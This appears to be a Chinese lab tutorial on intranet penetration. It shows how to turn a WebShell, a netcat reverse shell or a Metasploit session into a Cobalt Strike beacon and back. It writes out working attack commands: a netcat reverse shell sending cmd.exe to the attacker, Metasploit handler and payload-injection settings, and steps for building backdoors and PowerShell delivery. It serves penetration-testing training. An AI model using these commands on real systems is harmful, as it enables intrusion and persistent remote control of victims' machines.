关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
通过前期的渗透测试,我们大概率会拿到目标的一个 Shell,比如 WebShell 或者 MSF Shell 等等,不同的 Shell 对应提权的姿势也不同,比如有的 Shell 支持你远程桌面控制,这样的你点点就行,有的就只支持你命令行操作,就需要费点脑筋了。
本章主要讲解各种 Shell 的互相转化,即 WebShell 如何跳转到 MSF Shell,或者 Cobalt Strike Shell 上,了解了不同 Shell 的互相转化,届时你哪个提权顺手就用哪个。
0x01:WebShell
WebShell 就是通过蚁剑,菜刀,冰蝎等工具连接获取的 Shell,这些工具虽然可以很方便的执行命令,但对于提权来说还是太复杂了,我们得想办法将该 Shell 转化为 CobaltStrike Shell 或者 MSF Shell(这两款工具内置了一堆提权脚本,可以很方便提权)。
0x0101:如何获取一个 WebShell
WebShell 一般是通过目标站点漏洞获得的,下面简单演示一下如何拿到一个 WebShell。
先简单介绍一下环境:
-
靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。
-
攻击机 Windows 11:IP 192.168.0.1,安装了 “蚁剑” 与 BurpSuite。
访问靶机的 pikachu 靶场的 Unsafe Fileupload 的 client check 模块,随便上传一个图片:
如上,上传成功了,并且展示了文件保存的路径。这里是个简单的客户端校验的文件上传漏洞。我们定位 Burp 中的上传请求包:
将上面这个上传请求包丢到 Repeater 模块中,修改上传内容,我们上传一个 WebShell:
如上成功拿到上传的文件路径,我们做一些拼接,然后访问:
http://192.168.0.108/pikachu/vul/unsafeupload/uploads/logo.php
然后我们使用中国蚁剑进行一个连接看看,密码就是 a:
如上成功连接,那么至此我们就得到了一个 WebShell,这个 WebShell 是通过目标服务器的 Web 漏洞拿到的:
0x0102:WebShell => CS Shell
WebShell 虽好,但是其对提权的支持几乎为 0。专业的事情还是得专业的来,本节讲解,如何将 WebShell 弹到 CobaltStrike。
简单介绍一下当前的环境吧:
-
靶机 Windows 7:IP 192.168.0.108,安装了 PhpStudy 并且配置了 pikachu 靶场。
-
攻击机 Windows 11:IP 192.168.0.1,安装了 CS 客户端,并且拿到了靶机的 WebShell。
-
辅助机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端
首先是在 Kali Linux 上将 CS 服务端开启起来:
./teamserver 192.168.0.100 admin
然后在 Windows 11 上,使用 CS 客户端连接服务端:
在 CS 上创建一个 HTTP 监听器,监听本机的 4444 端口,并命名为 attack:
然后选择 “Attacks” => “Packages” => “Windows Executable”(我们前面了解到靶机是个 Windows 机器),选择监听器为我们上面创建的 attack,点击 Generate 生成一份 Windows 后门程序:
将后门文件保存到本地后,打开 WebShell,将后门程序上传(像蚁剑这些 WebShell 都是自带文件上传功能的,如果读者对此不是很了解的话,建议先把工具学好):
如上,成功上传后门文件,然后打开 WebShell 终端界面,定位你上传的位置,并执行后门程序:
artifact.exe
如上,成功上线 CS,此时我们获得的一般都是一个较低权限的账户,不过不要慌,CS 一堆提权工具会让你如鱼得水,成功提权的,这个是后话了。
0x02:反弹 Shell
反弹 Shell 的方式多种多样,有 Python 的,/bin/bash 的,这个无所谓,反正都是能拿到靶机的控制权,我们常见的接收反弹 Shell 的工具就是 nc 即 netcat,nc 不像前面的 WebShell 可以通过界面直接上传文件,所以这里也是主要简介如何将 nc 的 Shell 转到 CobaltStrike。
0x0201:拿到一个反弹 Shell
反弹 Shell,一般是目标存在 RCE 漏洞,你找到之后,如果是 Linux 系统用 bash 反弹连接基本就能成,如果是 Windows 系统也可以使用 PowerShell 来进行反弹连接,这里我们演示就比较糙,直接给靶机上传一个 nc 工具,然后让他把自己的控制权移交出来。
先来了解一下环境吧:
-
靶机 Windows 7:IP 192.168.0.108,具有 Windows NetCat 工具。
-
攻击机 Kali Linux:IP 192.168.0.100
首先,在攻击 Kali 上使用下面的命令监听本机的 7777 端口:
nc -lvp 7777
然后在靶机上运行下面的命令,使用 nc 工具将靶机的控制权弹到 Kali 上:
nc -e C:\Windows\System32\cmd.exe 192.168.0.100 7777
此时我们去看一下 Kali,如下,成功拿到靶机的反弹连接:
0x0202:反弹 Shell => CS Shell
WebShell 好歹还有个可视化的上传功能,反弹 Shell 就比 WebShell 更加糙了,啥也没就一个命令行,所以这里笔者主要讲解如何将反弹 Shell 重新上线到 CobaltStrike 上。我们还是先来理一下环境:
-
靶机 Windows 7:IP 192.168.0.108,现在已经通过 NC 将控制权移交给了 Kali。
-
攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,并且获得了靶机的 Nc Shell。
-
辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端。
先在 Kali 上开启 Cobalt Strike 的服务端程序,然后使用 Windows 11 的 CS 客户端进行连接,创建一个名为 attack 的监听器,监听服务端的 4444 端口(上面的老流程,笔者这里就不详解了):
然后选择 “Attacks” => “Web Drive-by” => “Scripted Web Delivery(s)” 模块,我们做一个无文件落地的 CS PowerShell 反弹连接命令,选择前面我们创建的 attack 监听器:
点击 Launch 启动后,会给我们一段 PowerShell 的反弹连接代码:
在前面我们已经拿到了靶机的 Nc Shell 了,我们通过 Nc Shell 执行这段反弹连接代码,靶机自然就会上线 CS:
0x03:CobaltStrike
有时候,我们会通过网络钓鱼,直接让目标上线 CS,既然是直接上线 CS,那么就不用像前面那样还要转来转去了,CS 内部就有很多好用的提权插件。
CS 内部的提权插件虽然好用,量大,又管饱,但是架不住有时候你就是没办法用这些插件提权,所以呢,这里笔者主要介绍如何将 CobaltStrike Shell 转移到 MSF Shell,MSF 中也有一堆插件,既然 CS 不行,那我就用 MSF 再试一遍,如果都不行,再上网搜呗。
0x0301:拿到一个 CobaltStrike Shell
先来明确一下我们的实验环境:
-
靶机 Windows 7:IP 192.168.0.108
-
攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端
-
辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端
从靶机上拿一个 CS Shell 还是比较简单的,你可以按照上面 “反弹 Shell => CS Shell” 的方式,直接利用 CS 生成一个 PowerShell 反弹连接命令,然后跑靶机上执行,反正把靶机上线到 CS 上就行:
0x0302:CS Shell => MSF Shell
这里主要讲解如何将 CS Shell 迁移到 MSF 上,首先在 Kali 上启动 MSF,然后我们的靶机是 Windows 机器,所以我们需要在 MSF 中创建一个针对 Windows 的反弹链接监听程序:
use exploit/multi/handlerset payload windows/meterpreter/reverse_http # 这里是使用 Windows HTTP 反弹连接监听模块set LHOST 192.168.0.100 # 设置监听的机器为 Kali 自己set LPORT 8888 # 设置监听的端口为 8888run # 启动监听模块
然后我们来到 CS 客户端,创建一个监听器,命名为 “msf”,然后 Payload 设置为 “Foreign HTTP”,并设置监听的主机 IP 为攻击机 IP,监听的端口为 8888(与 MSF 对应):
然后在 CS 中右击那个上线的 Windows 靶机,选择 “spawn”,选择我们刚刚创建好的外部的 msf 监听器,即可将 CS 上的 Shell 上线到 MSF 上:
如下,攻击机中的 MSF 成功接收到 CS 传过来的靶机 Shell,解析来就可以使用 MSF 中的提权模块对靶机进行提权了:
0x04:MSF Shell
在上一小节中,我们演示了如何将 Cobalt Strike Shell 传递到 MSF 中。有时候我们还得反着来。那么本节就教你如何将 MSF Shell 传递到 Cobalt Strike 上。
0x0401:拿到一个 MSF Shell
对于拿到一个 MSF Shell,笔者这里就不细致的说了,方法有很多种,你可以针对目标平台使用 msfvenom 生成一个木马软件上传到靶机,然后通过运行木马拿到 Shell,你也可以使用 MSF 探测靶机的漏洞,使用漏洞直接拿到靶机权限,方法很多(如果读者实在不清楚的话,建议还是先学好 MSF 后再来看此节)。
0x0402:MSF Shell => CS Shell
老传统,先明确一下实验环境:
-
靶机 Windows 7:IP 192.168.0.118
-
攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端,已经拿到了靶机的 MSF Shell
-
辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端
书接上文,现在我们 MSF 中已经拿到了一台机子:
检查一下你的 CS 客户端,确保你里面有一个正在监听 4444 口的 Beacon HTTP 监听器:
然后回到 MSF,输入下面的命令,将这个 Shell 挂到后台,然后配置 Payload,将这个 Shell 注入到 CS 中:
bg # 将 Shell 挂起到后台use exploit/windows/local/payload_inject # 使用 windows 载荷注入模块set payload windows/meterpreter/reverse_http # 使用 HTTP 反弹连接载荷set lhost 192.168.0.100 # 设置目标为 CS 服务端 IPset lport 4444 # 设置端口为 CS 监听端口set DisablePayloadHandler Trueset PrependMigrate Trueset session 1 # 设置注入的会话为 Session 1run # 运行程序
如上,CS 客户端中成功上线靶机。
0x05:远程桌面
有时候进入了目标内网,进行内网信息收集的时候,你还可能发现你控制的靶机中有过连接其他机器的远程桌面历史记录,或者向日葵记录等,此时,你可能会得到一个远程桌面的界面:
针对这种提权,你都登录人家电脑了,你还不想点啥点啥,可操作性就更大了。不过有个限制,你无法直接向他传文件,所以你可能还得想办法让其上线其他的远控工具。